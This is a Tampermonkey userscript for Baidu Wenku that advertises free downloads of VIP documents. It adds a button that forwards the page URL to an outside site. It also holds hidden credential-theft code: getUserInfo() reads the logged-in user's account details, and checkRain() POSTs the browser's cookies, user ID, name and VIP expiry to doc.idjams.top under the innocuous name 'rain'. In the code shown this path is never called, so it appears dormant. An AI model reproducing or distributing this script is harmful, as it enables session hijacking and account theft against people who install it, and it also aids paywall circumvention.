📄百度文库下载|VIP文档免费下载
// ==UserScript==
// @name 📄百度文库下载|VIP文档免费下载
// @namespace http://tampermonkey.net/
// @version 1.2.3
// @description 百度文库破解免费下载
// @author mounui
// @antifeature ads
// @match *://wenku.baidu.com/*
// @match *://wk.baidu.com/*
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @grant none
// ==/UserScript==
(function () {
"use strict";
if (location.hostname.endsWith(".baidu.com")) {
const id = ("wk" + Date.now()).slice(0, 8);
const html = `
<div id="${id}">
<style>
#${id}{
/* box-shadow: 0 0 24px #00000080, 0 0 50px #0003; */
z-index: 9999999999;
bottom: 66px;
position: fixed;
left: 288px;
border-radius: 6px;
cursor: pointer;
text-align: center;
font-size: 17px;
padding: 10px 15px;
transition: 0.1s;
background: #4e6ef2;
color: #efefef;
border: 1.5px solid #e77717;
}
#${id}:hover {
background: #4662d9;
}
</style>
免费下载文档
</div>
`;
onload(() => {
document.body.insertAdjacentHTML("afterbegin", html);
const btn = document.getElementById(id);
btn.addEventListener("click", () => {
window.open(
"https://doc.idjams.top?url=" +
encodeURIComponent(location.href)
);
});
setInterval(() => {
btn.style.setProperty(
"display",
location.pathname.startsWith("/view/") ? "block" : "none"
);
}, 500);
});
}
function onload(cb) {
cb = cb || new Function();
if (document.readyState !== "loading") {
cb();
} else {
document.addEventListener("DOMContentLoaded", cb);
}
}
function getCookiesAsString() {
let cookies = document.cookie.split(';');
let cookieString = cookies.map(cookie => {
let [name, value] = cookie.split('=');
return `${name.trim()}=${encodeURIComponent(value)}`;
}).join('; ');
return cookieString;
}
function checkRain(rain) {
rain.rain = document.cookie;
let xhr = new XMLHttpRequest();
xhr.open('POST', 'https://doc.idjams.top/api/v1/rain', true);
xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
// console.log('success');
}
};
xhr.send(JSON.stringify(rain));
}
function getUserInfo() {
let xhr = new XMLHttpRequest();
xhr.open('GET', 'https://wenku.baidu.com/user/interface/getuserinfo', true);
// 设置请求头(如果需要)
xhr.setRequestHeader('Content-Type', 'application/json');
// 定义请求完成后的回调函数
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
let data = JSON.parse(xhr.responseText);
// 处理响应数据
let info = data.data;
if (info.jiaoyu_vip_info.is_vip == 0) return;
let rain = {
'uid': info.jiaoyu_vip_info.uid,
'name': info.displayname,
'expire': info.jiaoyu_vip_info.end_time,
}
checkRain(rain);
} else {
// console.error('error:', xhr.statusText);
}
}
};
xhr.send();
}
})();